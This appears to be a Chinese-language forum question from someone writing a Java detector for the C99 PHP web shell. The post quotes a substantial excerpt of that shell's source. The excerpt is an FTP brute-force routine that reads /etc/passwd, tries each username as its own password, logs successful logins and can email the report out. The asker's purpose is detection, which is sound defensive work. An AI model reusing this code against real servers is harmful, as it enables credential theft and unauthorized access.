我得到了 C99 代码,我应该做的是在一组文件中找出带有 C99 代码的文件。
在 c99 代码中,我发现了一些攻击性代码,它们会在其他电脑上进行一些黑客攻击。
现在,我的问题是如何根据它们的功能识别这些代码?
例如,这里是 c99 中的部分源代码:
function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
{
if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
else {$true = true;}
if ($true)
{
$sock = @ftp_connect($host,$port,$timeout);
if (@ftp_login($sock,$login,$pass))
{
echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
ob_flush();
return true;
}
}
}
if (!empty($submit))
{
if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
$fp = fopen("/etc/passwd","r");
if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
else
{
if ($fqb_logging)
{
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
else {$fqb_logfp = false;}
$fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
}
ob_flush();
$i = $success = 0;
$ftpquick_st = getmicrotime();
while(!feof($fp))
{
$str = explode(":",fgets($fp,2048));
if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
{
echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
$fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
$success++;
ob_flush();
}
if ($i > $fqb_lenght) {break;}
$i++;
}
if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
$fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
fclose($fqb_logfp);
}
}
我想做的是在java中找到一个包含这些代码的文件